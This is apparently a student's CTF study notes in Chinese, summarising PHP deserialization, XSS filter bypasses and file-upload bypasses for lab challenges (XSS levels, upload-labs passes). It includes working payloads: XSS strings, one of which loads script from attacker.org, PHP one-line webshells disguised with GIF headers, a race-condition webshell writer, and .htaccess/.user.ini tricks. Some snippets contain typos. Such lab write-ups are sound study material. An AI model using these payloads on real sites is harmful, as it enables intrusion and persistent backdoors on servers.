做题总结
这个假期看了很多师傅的wp,有一些贴在总结里了,希望对大家也有帮助。(如有冒犯请联系我删除)
序列化与反序列化总结
pop链构造POP链的构造_一个打渔的的博客K6uQ5H7^ff(R-CSDN博客_pop链
序列化与反序列化序列化和反序列化的详解_tree_ifconfig的博客-CSDN博客_序列化和反序列化 简述序列化与反序列化 - 寒江独钓人 - 博客园
-
unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。返回的是转换之后的值,可为 integer、float、string、array 或 object。如果传递的字符串不可解序列化,则返回 FALSE
-
序列化是指把一个Java对象变成二进制内容,本质上就是一个byte[]数组。 为什么要把Java对象序列化呢?因为序列化后可以把byte[]保存到文件中,或者把byte[]通过网络传输到远程,这样,就相当于把Java对象存储到文件或者通过网络传输出去了。 有序列化,就有反序列化,即把一个二进制内容(也就是byte[]数组)变回Java对象。有了反序列化,保存到文件中的byte[]数组又可以“变回”Java对象,或者从网络上读取byte[]并把它“变回”Java对象。
-
phar://伪协议传入参数时可以触发反序列化
php中的常见魔术方法:
__sleep() //使用serialize时触发 __wakeup()//使用unserialize时触发 __destruct() //对象被销毁时触发 __construct()//函数创建一个新的 SimpleXMLElement 对象 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发(比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据) __invoke() //当脚本尝试将对象调用为函数时触发
-
sleep、wakeup函数参考序列化魔术函数__sleep()和反序列化魔术函数__wakeup() - ITCHN - 博客园
类的定义php中show是什么意思,php中的类是什么意思?_第一反应急救的博客-CSDN博客)
public、protected与private字段在序列化时的区别
protected声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。 [极客大挑战 2019]PHP_沐目的博客-CSDN博客_极客大挑战2019php
private声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。
对应题目:[MRCTF2020]Ezpop、[SWPUCTF 2018]SimplePHP
这两道题都用到了伪协议。[MRCTF2020]Ezpop里用php://filter文件包含访问目标地址。[SWPUCTF 2018]SimplePHP中没有序列化/反序列化函数,所以用phar://伪协议触发反序列化。
感觉做这类题目主要任务是在函数分析,要正确出函数的触发方法,理清楚实例化的对象和类的关系就好了。
XSS注入总结
一、js标签插入
绕过进行一次移除操作:
<scr<script>ipt>alert("XSS")</scr<script>ipt>
Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本:
<script>alert("XSS")</script> <script src="http://attacker.org/malicious.js"></script>
对应题目:level1-2
注入时要注意闭合方式,尖括号、单双引号等等
二、事件函数
-
鼠标事件: onclick: 点击事件 ondblclick: 双击事件
onmouseover: 鼠标进入“某对象区域” onmouseout: 鼠标离开“某对象区域” onmousedown: 鼠标按下 onmouseup: 鼠标抬起 onmousemove: 鼠标移动。
-
表单事件: onsubmit: 表单提交事件
onfocus: 一个表单项获得焦点。(就是鼠标在输入框中点击,可以输入内容) onblur: 一个表单项失去焦点。(就是鼠标离开输入框,在别的元素发生鼠标事件)
onchange: 一个表单项的内容的改变(通常用于select选项值的改变) onreset: 表单重置事件
-
键盘事件: onkeydown: 按键按下去(尚未抬起来) onkeyup: 按钮抬起来。 onkeypress: 按键一次(不包含功能键,比如退格键、回车键)。 4.窗口事件: onload: 网页一打开(网页加载完毕时)发生。 onunload:卸载
对应题目:level3-4
三、超链接
链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript
<a href="javascript:alert(1)>
对应题目:level5-6
四、input标签的type属性
属性值
值 | 描述 |
---|---|
button | 定义可点击按钮(多数情况下,用于通过 JavaScript 启动脚本)。 |
checkbox | 定义复选框。 |
file | 定义输入字段和 "浏览"按钮,供文件上传。 |
hidden | 定义隐藏的输入字段。 |
image | 定义图像形式的提交按钮。 |
password | 定义密码字段。该字段中的字符被掩码。 |
radio | 定义单选按钮。 |
reset | 定义重置按钮。重置按钮会清除表单中的所有数据。 |
submit | 定义提交按钮。提交按钮会把表单数据发送到服务器。 |
text | 定义单行的输入字段,用户可在其中输入文本。默认宽度为 20个字符 |
<input type="text" /> 定义用户可输入文本的单行输入字段。
Email: <input type="text" name="email" /> Pin: <input type="text" name="pin" />
对应题目:level10-13
一个其他师傅的超级无敌大总结
XSS插入绕过一些方式总结_煜铭2011-CSDN博客_xss绕过
五、注入点与注入格式
1.html编码绕过
一些被过滤的字符直接注入可能会注入失败,但是经过html编码之后能够上传且也能正常执行
对应题目:level8-9
2.大小写绕过
和sql里的类似,如果题目只过滤小写字母,可以尝试把payload改为大写再上传试试。绕过过滤之后依然能被正常执行
对应题目:level6
3.添加http://头
题目可能去除了本来自带的http://头,即使注入格式正确,注入也可能后无法触发。手动添加就好了。
对应题目:level9
4.隐藏函数注入点
可注入的函数有多个,需要通过注入后查看源码,找出有回显的真正有效注入函数。
对应题目:level10-11
5.user-agent/cookie/post/get/referer注入
有时候简单用get方式传参没有回显,通过前端代码等可以找出与注入内容相同的地方,然后尝试通过这些内容相同的地方(ua/cookie/referer)传值注入
对应题目:level12-13
文件上传总结(结合buu upload-labs)
一、js/MIME绕过
1.更改前端设置绕过,对应pass-01
2.更改content-type绕过
上传文件的时候可能会检测文件的文件类型,一般会规定是图片类型,可能就要改成:
Content-Type: image/jpeg
常见信息头:
二、内容检测
文件头检测
对文件头进行检测,其实做misc的时候用010查看文件会发现不同文件的文件头也是不同的,所以源码可能会用正则匹配等形式对文件头进行检测
只要在上传的文件前面加上对应文件头的字符串就好了
例如:
GIF89a <?php @eval($_POST['cmd']);?> //php被ban的时候可以用下面的短标签 GIF89a <? @eval($_POST['cmd']);?> //<?被ban时 <script language='php'>assert($_REQUEST['cmd'])</script> //直接打印 <script languag='php'>system("cat /flag");</script>
内容/标签检测
-
可能对<?敏感,此时可以用
<script language="php"> eval($_POST"aaa"); </script>
-
短标签<? ?>需要在php.ini中开启配置short_open_tag才能用
-
<?=等价于<?eho 不用开启短标签
-
ASP标签<% %>需要将asp_tags设置成ON,php小于7.0的可以通过<script language'php'>绕过
<script language'php'> phpinfo() </script>
-
eval可以换成assert
-
post可以换成get require cookie
-
get:url直接上传
-
post:hackbar里上传
-
require:上传技能,可用post代替
-
cookie:网页中上
-
上传之后要把文件后缀改成php/phtml
在某文件中插入木马
-
cmd中操作:copy xx.png/A + 木马.php/B 组合后的新文件
若文件不解析,可以加上
-
/include.php?file=图片地址
或者用010直接在图片文件尾部添加一句话木马
对应pass13-15。要注意图片合成后是否可能损坏。
三、黑名单绕过
1.特殊后缀绕过。譬如有php3 php5 pht phtm phtml
等等。对应pass-03
常见文件后缀
".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"
2.不符合windows文件书写规则绕过。譬如
-
文件名后加空格或者点,对应pass-06和pass-07
-
后缀大小写(比如linux下如果php不被解析,可以把.php写成.pHp),对应pass-05
-
文件名后加::$DATA ,例如"1.php::$DATA"。对应pass-08
-
函数分析,可能出现只删除一次文件名末尾的点或空格,可以多重叠几个,比如:1.php. . 对应pass-09
-
后缀双写,例如:1.pphphp 对应pass-10
-
其他类似绕过 test.php:1.jpg test.php::$DATA shell.php::$DATA……. 会被windows系统自动去掉不符合规则符号后面的内容。
二、.htaccess/.user.ini
.htaccess
https://xz.aliyun.com/t/8267#toc-4
/www/htdocs/example目录下的.htaccess文件的内容:AddType text/example .exm
httpd.conf文件中摘录的内容:
<Directory /www/htdocs/example>AddType text/example .exm</Directory>
但是,把配置放在主配置文件中更加高效,因为只需要在Apache启动时读取一次,而不是在每次文件被请求时都读取。
将AllowOverride设置为none可以完全禁止使用.htaccess文件:AllowOverride None
指令的作用范围
.htaccess文件中的配置指令作用于.htaccess文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有.htaccess文件,而指令是按查找顺序依次生效的,所以一个特定目录下的.htaccess文件中的指令可能会覆盖其上级目录中的.htaccess文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令. 在访问文档时,如果收到服务器的出错消息,应该检查Apache的错误日志,可以知道.htaccess文件中哪些指令是不允许使用的,也可能会发现需要纠正的语法错误。
AddType application/x-httpd-php .gif // 将所有文件当作php文件来解析 SetHandler application/x-httpd-php
对应pass-04
.user.ini
和.htaccess作用类似
可以在.user.ini文件中写入auto_prepend_file函数,auto_prepend_file表示在php程序加载第一个php代码前加载的php文件,这时候我们就可以引入一个我们自己所写的php文件,也就是一个一句话木马。
auto_prepend_file (函数) auto_prepend_file 在页面顶部加载文件 auto_append_file 在页面底部加载文件 使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。
使用.user.ini
之后再上传带有一句话木马的图片,然后可以访问index.php
执行php代码,然后用蚁剑连接
三、白名单检测
1.%00/00路径截断
路径拼接时可以在文件尾加上%00来截断路径。
对应pass-11、pass-12
四、图片二次渲染
对应pass-16,这里贴一个大佬的详解
可以通过对比上传前后的图片的数据块,找到渲染后未被改动的地方,在此插入一句话木马来绕过
五、条件竞争
服务器先将上传的文件保存在临时目录中,然后再对后缀名进行白名单验证,并重命名。
rename(string $oldname,string $newname [,resource $context])//把oldname重命名为newname
绕过过程:不断上传文件,在文件还没被删除前去读取文件,若上传内容为
<?php fputs(fopen('2.php','w'),'<?php @eval($_POST["pass"])?>');?>
对应pass-17、pass-18
六、数组绕过
文件上传与upload-labs_情感博主V-CSDN博客_文件上传upload-labs
在content-type里更改索引和元素个数绕过。对应pass-20